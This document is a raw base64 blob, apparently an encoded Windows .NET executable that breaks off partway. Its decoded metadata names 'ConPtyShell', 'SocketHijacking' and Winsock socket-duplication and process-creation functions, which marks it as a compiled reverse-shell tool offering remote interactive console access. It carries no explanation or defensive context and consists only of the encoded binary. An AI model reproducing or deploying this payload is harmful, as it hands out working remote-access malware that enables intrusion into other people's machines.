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AAAEIAABAABgfXMAAAQSEwd9dwAABBITEQR9eAAABBITEQR9eQAABBQOBH4IAAAKfggAAAoXFn4IAAAKFBITEhEoJAAABiYHfggAAAooHQAACiwHBygpAAAGJhEEfggAAAooHQAACiwIEQQoKQAABiYJBihOAAAGExQIBhIRe3oAAAQoUAAABhMVDgUsEREKLA0RD28mAAAKKEEAAAYmDgUsERELLA0REG8mAAAKKEEAAAYmEhF7egAABBUoJgAABiYOBSwREQosDREPbyYAAAooQgAABiYOBSwREQssDREQbyYAAAooQgAABiYRFG85AAAKERVvOQAACgYoPgAABiYRBhEHEQgoRwAABhEJLAYoMwAABiYSEXt7AAAEKCkAAAYmEhF7egAABCgpAAAGJhEFfggAAAooHQAACiwIEQUoLwAABiYIfggAAAooHQAACiwHCCgpAAAGJgl+CAAACigdAAAKLAcJKCkAAAYmEQ1ybwkAcCgEAAAKEw0RDSqiAnKpCQBwKB8AAAotGQJyrwkAcCgfAAAKLQwCcr0JAHAoHwAACioXKkoCjmkYLwtywwkAcHMCAAAGeipCKDoAAAp+jgAABG87AAAKKgAAEzACAB0AAAAVAAARAhIAKDwAAAotEXJ+CgBwAigEAAAKcwIAAAZ6AioAAAATMAIAHwAAABYAABEWCgISACgvAAAKLRFyygoAcAIoBAAACnMCAAAGegYqABMwAgAUAAAAFwAAER8YCgKOaRgxCQIYmihWAAAGCgYqEzACABQAAAAXAAARH1AKAo5pGTEJAhmaKFYAAAYKBioTMAIAEgAAABgAABFyFgsAcAoCjmkaMQQCGpoKBioAABMwBgB7AAAAGQAAEXI6BgBwCgKOaRczEQIWmihSAAAGLAcoVAAABitcAihTAAAGcjoGAHALFgwWDQIWmnI0CwBwbz0AAAosBBcNKxICFpooVQAABgsCF5ooVgAABgwCKFcAAAYTBAIoWAAABhMFAihZAAAGEwYHCBEEEQURBgkoUQAABgoGKi5yRAsAcICOAAAEKkYoOgAACgIoWgAABm87AAAKKh4CKAkAAAoqAAAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAeBUAACN+AADkFQAAaBgAACNTdHJpbmdzAAAAAEwuAADsGQAAI1VTADhI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OTAAAAAAkQAhDksD1gBiMAAAAACRAC4OUAPXAHUwAAAAAJEAOA4CA9gAiDAAAAAAkQBEDlYD2AC0MAAAAACRAFUOWwPZAOAwAAAAAJEAXg5gA9oAADEAAAAAkQBoDmAD2wAgMQAAAACRAHIOZgPcAEAxAAAAAJYAgw5mA90AxzEAAAAAkRheGAID3gDTMQAAAACRAJMOUAPeAOUxAAAAAIYY3wFCAN8AAAABAAcPAAABAFwPAAABAGQPAAACAGwPAAABAIgPAAACAJsPAAADAKcPAAAEALYPAAAFAMIPAgAGANIPAAABAOoPAAABAPcPAAABAAsQAAACABIQAAABABkQAAABABkQAAACACEQAAADAAsQAAABACoQAAABADwQAgACAE4QAAABAGEQAAACAG4QAAADAHgQAQABAIUQAQACAJ8QAQADAKoQAAAEALcQAAAFAMYQAAAGAHkNAAABAM0QAAACAM8QAAADANQQAAABANwQAAACAAkOAAADAG4QACAAAAAAAAABAAsRAAACACARAAADAC4RAgAEAEMRAAAFAFIRACAGAAkOAAAHAGIRAAABAFwPAAABAHYRAAACAIMRAAADAJQRAAAEAKMRAAAFALURAAABAMIRAAACANkRAAADAOsRAAAEALURAAABAAMSAAACAA0SAAABADkSAAACAAMSAAADAA0SAAABAHYSAAABAGEQAAACAAYTAAABAHYSAAABAEsTAAACAFkTAAADAHETAAAEAIQTAgAFALURAAABAKgTAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUV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AAAAAAAAAAAAAPYOAAACAAAAAAAAAAAAAAABAJABAAAAAAIAAAAAAAAAAAAAAAEAmQEAAAAABAADAAYABQAHAAUACAAFAAkABQAKAAUACwAFAAwABQANAAUADgAFABEAEAASABAAEwAQABQAEAAVABAAFgAQABcAEAAAAAAAADxNb2R1bGU+AENvblB0eVNoZWxsX25ldDIuZXhlAENvblB0eVNoZWxsRXhjZXB0aW9uAERlYWRsb2NrQ2hlY2tIZWxwZXIATFBUSFJFQURfU1RBUlRfUk9VVElORQBTb2NrZXRIaWphY2tpbmcAU1lTVEVNX0hBTkRMRQBPQkpFQ1RfSU5GT1JNQVRJT05fQ0xBU1MAT0JKRUNUX05BTUVfSU5GT1JNQVRJT04AVU5JQ09ERV9TVFJJTkcAUHJvY2Vzc0FjY2Vzc0ZsYWdzAFdTQURhdGEAV1NBUFJPVE9DT0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlc